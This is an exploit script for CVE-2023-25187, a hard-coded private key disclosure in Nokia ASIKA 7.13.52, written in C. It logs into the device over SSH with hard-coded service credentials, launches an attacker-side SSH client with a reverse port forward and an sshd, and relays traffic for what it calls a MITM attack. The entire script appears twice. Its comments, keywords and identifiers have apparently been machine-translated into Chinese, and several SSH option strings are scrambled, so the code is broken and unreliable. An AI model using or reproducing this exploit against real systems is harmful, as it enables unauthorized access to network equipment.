//利用标题:诺基亚Asika 7.13.52-硬编码的私钥披露
//日期: 2023-06-20
//利用作者: Amirhossein Bahramizadeh
//类别:硬件
//供应商homepage3360 https://www.nokia.com/about-us/security-and-privacy/product-security-advisory/cve-2023-25187/
//版本: 7.13.52(必需)
//在: Windows/Linux上测试
//CVE : CVE-2023-25187
#include stdio.h
#include stdlib.h
#include string.h
#include errno.h
#include unistd.h
#include netinet/in.h
#include arpa/inet.h
#include sys/socket.h
#include sys/types.h
#include sys/wait.h
#include signal.h
//脆弱设备的IP地址
char *host='192.168.1.1';
//默认的SSH端口号
int port=22;
//BTS服务用户帐户的用户名和密码
char *用户名='service_user';
char *password='password123';
//攻击者机器的IP地址
char *Attacker_ip='10 .0.0.1';
//用于MITM攻击的端口号
int Attacker_port=2222;
//消息的最大长度
#define max_len 1024
//两个插座之间的向前数据
void forward_data(int sock1,int sock2)
{
char buffer [max_len];
ssize_t bytes_read;
while(((bytes_read=read(sock1,buffer,max_len)))0)
{
写(sock2,buffer,bytes_read);
}
}
int main()
{
int袜子,pid1,pid2;
struct sockaddr_in addr;
char *argv []={'/usr/bin/ssh','-l',用户名,'-p','2222','2222','-o','stricthostKeyChecking=no','-o','-o','usernoichonnoynoknothostSfile=/dev/dev/dev/null' '/path/to/private/key','-n','-r','2222:localhost:22',host,null};
//创建一个新的插座
袜子=套接字(af_inet,sock_stream,0);
//设置地址连接到
memset(addr,0,sizeof(addr));
addr.sin_family=af_inet;
addr.sin_port=htons(port);
inet_pton(af_inet,host,addr.sin_addr);
//连接到脆弱的设备
if(connect(sock,(struct sockaddr *)addr,sizeof(addr))0)0)
{
fprintf(stderr,'连接到%s:%D:%s \ n'的错误,主机,端口,strerror(errno));
出口(1);
}
//发送SSH握手
写(袜子,'ssh-2.0-openssh_7.2p2 ubuntu-4ubuntu2.10 \ r \ n',42);
读(袜子,null,0);
//发送用户名
写(袜子,用户名,strlen(用户名));
写(袜子,'\ r \ n',2);
读(袜子,null,0);
//发送密码
写(袜子,密码,strlen(密码));
写(袜子,'\ r \ n',2);
//等待身份验证完成
睡眠(1);
//在攻击者的计算机上启动SSH客户端
pid1=fork();
if(pid1==0)
{
execv('/usr/bin/ssh',argv);
出口(0);
}
//在攻击者的计算机上启动SSH服务器
pid2=fork();
如果(pid2==0)
{
execl('/usr/sbin/sshd','/usr/sbin/sshd','-p','2222','2222','-O','strictmodes=no','-o','-o','passwordAuthenticalial=no','','-o','-o','pubKeyAuthentication=yes y y yes'yes'y yes'',-o','','' 'hostkey=/path/to/private/键',null);
出口(0);
}
//等待SSH服务器启动
睡眠(1);
//客户端和服务器之间的转发数据
pid1=fork();
if(pid1==0)
{
forward_data(袜子,stdin_fileno);
出口(0);
}
pid2=fork();
如果(pid2==0)
{
forward_data(stdout_fileno,袜子);
出口(0);
}
//等待孩子的过程完成
waitpid(pid1,null,0);
waitpid(pid2,null,0);
//关闭插座
关闭(袜子);
返回0;
}
//日期: 2023-06-20
//利用作者: Amirhossein Bahramizadeh
//类别:硬件
//供应商homepage3360 https://www.nokia.com/about-us/security-and-privacy/product-security-advisory/cve-2023-25187/
//版本: 7.13.52(必需)
//在: Windows/Linux上测试
//CVE : CVE-2023-25187
#include stdio.h
#include stdlib.h
#include string.h
#include errno.h
#include unistd.h
#include netinet/in.h
#include arpa/inet.h
#include sys/socket.h
#include sys/types.h
#include sys/wait.h
#include signal.h
//脆弱设备的IP地址
char *host='192.168.1.1';
//默认的SSH端口号
int port=22;
//BTS服务用户帐户的用户名和密码
char *用户名='service_user';
char *password='password123';
//攻击者机器的IP地址
char *Attacker_ip='10 .0.0.1';
//用于MITM攻击的端口号
int Attacker_port=2222;
//消息的最大长度
#define max_len 1024
//两个插座之间的向前数据
void forward_data(int sock1,int sock2)
{
char buffer [max_len];
ssize_t bytes_read;
while(((bytes_read=read(sock1,buffer,max_len)))0)
{
写(sock2,buffer,bytes_read);
}
}
int main()
{
int袜子,pid1,pid2;
struct sockaddr_in addr;
char *argv []={'/usr/bin/ssh','-l',用户名,'-p','2222','2222','-o','stricthostKeyChecking=no','-o','-o','usernoichonnoynoknothostSfile=/dev/dev/dev/null' '/path/to/private/key','-n','-r','2222:localhost:22',host,null};
//创建一个新的插座
袜子=套接字(af_inet,sock_stream,0);
//设置地址连接到
memset(addr,0,sizeof(addr));
addr.sin_family=af_inet;
addr.sin_port=htons(port);
inet_pton(af_inet,host,addr.sin_addr);
//连接到脆弱的设备
if(connect(sock,(struct sockaddr *)addr,sizeof(addr))0)0)
{
fprintf(stderr,'连接到%s:%D:%s \ n'的错误,主机,端口,strerror(errno));
出口(1);
}
//发送SSH握手
写(袜子,'ssh-2.0-openssh_7.2p2 ubuntu-4ubuntu2.10 \ r \ n',42);
读(袜子,null,0);
//发送用户名
写(袜子,用户名,strlen(用户名));
写(袜子,'\ r \ n',2);
读(袜子,null,0);
//发送密码
写(袜子,密码,strlen(密码));
写(袜子,'\ r \ n',2);
//等待身份验证完成
睡眠(1);
//在攻击者的计算机上启动SSH客户端
pid1=fork();
if(pid1==0)
{
execv('/usr/bin/ssh',argv);
出口(0);
}
//在攻击者的计算机上启动SSH服务器
pid2=fork();
如果(pid2==0)
{
execl('/usr/sbin/sshd','/usr/sbin/sshd','-p','2222','2222','-O','strictmodes=no','-o','-o','passwordAuthenticalial=no','','-o','-o','pubKeyAuthentication=yes y y yes'yes'y yes'',-o','','' 'hostkey=/path/to/private/键',null);
出口(0);
}
//等待SSH服务器启动
睡眠(1);
//客户端和服务器之间的转发数据
pid1=fork();
if(pid1==0)
{
forward_data(袜子,stdin_fileno);
出口(0);
}
pid2=fork();
如果(pid2==0)
{
forward_data(stdout_fileno,袜子);
出口(0);
}
//等待孩子的过程完成
waitpid(pid1,null,0);
waitpid(pid2,null,0);
//关闭插座
关闭(袜子);
返回0;
}